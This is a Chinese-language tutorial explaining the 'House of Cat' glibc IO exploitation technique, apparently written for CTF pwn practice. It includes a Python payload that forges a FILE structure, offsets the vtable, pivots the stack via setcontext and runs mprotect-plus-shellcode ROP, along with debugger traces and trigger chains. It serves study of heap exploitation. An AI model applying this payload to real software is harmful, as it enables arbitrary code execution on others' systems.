0%

House Of Cat-原理

House Of Cat

House of emma 是 glibc-2.34 下常用的攻击手法之一,其利用条件只需任意写一个可控地址就可以控制程序执行流,攻击威力十分强大,但是需要攻击位于 TLS 的 _pointer_chk_guard,并且远程可能需要爆破 TLS 偏移

House of cat 使用了一种新的 IO 链,目前适用于任何版本(包括 glibc-2.35)


House Of Cat 原理

在 libc-2.34 版本中,常用的 hook 都被 ban 掉了(malloc_hook,free_hook 等),我们要尝试通过控制 IO 来获取 shell

House of cat 利用了 House of emma 的虚表偏移修改思想,通过修改虚表指针的偏移,避免了对需要绕过 TLS 上 _pointer_chk_guard 的检测相关的IO函数的调用,转而调用 _IO_wfile_jumps 中的 _IO_wfile_seekoff 函数,然后进入到 _IO_switch_to_wget_mode 函数中来攻击

应用场景是:

  • 能够任意写一个可控地址
  • 能够泄露堆地址和 libc 基址
  • 能够触发 IO 流(FSOP 或触发 __malloc_assert),执行 IO 相关函数

我们跟进 _IO_wfile_seekoff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

if (mode == 0)
return do_ftell_wide (fp);

int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

if (was_writing && _IO_switch_to_wget_mode (fp))
/* 在此处调用_IO_switch_to_wget_mode */
return WEOF;
......
}
libc_hidden_def (_IO_wfile_seekoff)

核心调用函数 _IO_switch_to_wget_mode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
/* 这里会调用_IO_WOVERFLOW,而fp可以被我们控制 */
return EOF;
......
}
libc_hidden_def (_IO_switch_to_wget_mode)
  • 由于 FP_err 可以被我们控制,所以可以利用宏函数 _IO_WOVERFLOW 完成任意代码执行

House Of Cat 利用姿势

利用 largebin attack 劫持 stderr 控制为已知 heap 地址,伪造 FILE 结构体,然后使 top chunk 不足以申请从而调用 sysmalloc

其中在 stderr 中的 fake_IO_FILE 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
next_chain = 0
fake_io_addr = heap_base + 0x290
shellcode_addr = heap_base + 0x750
payload_addr = heap_base + 0x700
flag_addr = heap_base+0x1000

payload = p64(payload_addr+0x10) + p64(ret)
payload += p64(pop_rdi_ret) + p64(heap_base)
payload += p64(pop_rsi_ret) + p64(0x7000)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect) + p64(shellcode_addr)
payload += shellcode

fake_IO_FILE = p64(0) #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
  • 在 vtable 的检测中对具体位置的检测还是比较宽松的,这使得我们可以在一定的范围内对 vtable 表的起始位置进行偏移,使其我们可以通过偏移来调用在 vtable 表中的任意函数
  • 这里对 vtable 进行偏移,使其可以调用 _IO_wfile_seekoff 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p*(struct _IO_FILE_plus*)0x55e88c680b00
$2 = {
file = {
_flags = 0,
_IO_read_ptr = 0x421 <error: Cannot access memory at address 0x421>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0xffff <error: Cannot access memory at address 0xffff>,
_IO_save_base = 0x0,
_IO_backup_base = 0x55e88c680bb0 "",
_IO_save_end = 0x7fb0ed36ca6d <setcontext+61> "H\213\242\240",
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x55e88c680200,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x55e88c680b30,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fb0ed52f0d0 <_IO_wfile_jumps+16>
}

接下来我们来跟进一下 House Of Cat 的触发流程:

1
__fxprintf -> locked_vfxprintf -> __vfprintf_internal ->  _IO_wfile_seekoff
1
2
3
4
5
0x7fa0ae8d17d0 <_IO_wfile_seekoff>       endbr64 
0x7fa0ae8d17d4 <_IO_wfile_seekoff+4> push r15
0x7fa0ae8d17d6 <_IO_wfile_seekoff+6> mov r15, rdi
0x7fa0ae8d17d9 <_IO_wfile_seekoff+9> push r14
0x7fa0ae8d17db <_IO_wfile_seekoff+11> push r13
  • 进入 _IO_wfile_seekoff,然后调用 _IO_switch_to_wget_mode
1
2
3
4
5
0x7fa0ae8d1838 <_IO_wfile_seekoff+104>    call   _IO_switch_to_wget_mode                <_IO_switch_to_wget_mode>
rdi: 0x5618e47bbb00 ◂— 0x0
rsi: 0x7fa0aea2a208 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0x5618e47bbbb0 ◂— 0x0
rcx: 0x0
  • 在这里会 call [rax+0x18]rax 是我们可以控制的(就是 FILE->_IO_buf_end,是我们人为伪造的)
1
2
3
4
5
6
 RAX  0x5620ac902b40 ◂— 0xffff
*RBX 0x0
RCX 0x0
RDX 0x5620ac902bb0 ◂— 0x0

0x7f6ef7dc9d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18] <setcontext+61>
  • 把这里修改为 setcontext+61 进行栈迁移(rdx 也是可以控制的)
1
2
3
4
5
6
pwndbg> telescope 0x5620ac902b40+0x18
00:00000x5620ac902b58 —▸ 0x7f6ef7d99a6d (setcontext+61) ◂— mov rsp, qword ptr [rdx + 0xa0]
01:00080x5620ac902b60 ◂— 0x0
... ↓ 4 skipped
06:00300x5620ac902b88 —▸ 0x5620ac902200 ◂— 0x200000001
07:00380x5620ac902b90 ◂— 0x0
  • 最后利用 House Of Kiwi 中的方式 get shell

House Of Cat 还有另一条调用链:

1
__GI_exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_seekoff
  • 直接执行 exit 就可以触发,不用破坏堆结构